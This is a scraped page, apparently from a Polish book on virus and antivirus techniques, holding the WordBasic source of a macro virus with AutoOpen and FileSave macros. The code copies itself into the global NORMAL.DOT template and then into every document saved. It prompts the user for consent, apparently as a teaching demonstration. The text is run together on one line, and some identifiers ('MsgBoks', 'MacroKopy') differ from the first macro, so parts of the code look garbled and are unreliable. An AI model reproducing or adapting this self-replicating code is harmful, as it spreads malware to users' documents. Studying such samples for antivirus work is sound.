[ Pobierz całość w formacie PDF ]
.Untitledzawartość makra : AutoOpenSub MAINOn Error Goto AutoOpen_ErrorTyt$ = "Nowoczesne techniki wirusowe i antywirusowe, Autor Adam Błaszczyk"Uwg$ = "Uwaga MakroWirus SZYFRUJĄCY MAKRA, Chcesz go zainstalować ?"TiN = 256 + 48 + 4Prz = MsgBox(Uwg$, Tyt$, TiN)If (Prz = - 1) ThenMacroCopy WindowName$() + ":AutoOpen", "Globalne:AutoOpen",1MacroCopy WindowName$() + ":FileSave", "Globalne:FileSave",1MsgBox "Wirus dopisał się do NORMAL.DOT, Sam tego chciales !!!", Tyt$, 64End IfAutoOpen_Error:End Subzawartość makra : FileSaveSub MAINFileSaveOn Error Goto FileSave_ErrorTyt$ = "Nowoczesne techniki wirusowe i antywirusowe, Autor Adam Błaszczyk"Uwg$ = "Czy chcesz zainfekować '" + WindowName$() + "' makrowirusem ?"TiN = 256 + 48 + 4Prz = MsgBoks(Uwg$, Tyt$, TiN)If (Prz = - 1) ThenMacroKopy "Globalne:AutoOpen", WindowName$() + ":AutoOpen", 1MacroKopy "Globalne:FileSave", WindowName$() + ":FileSave", 1FileSaveAs.Format = 1Tek$ = "Wirus dopisał się do '" + WindowName$() + "'"MsgBox Tek$, Tyt$, 64FileSaveEnd IfREM FileSaveFileSave_Error:End Sub
[ Pobierz całość w formacie PDF ]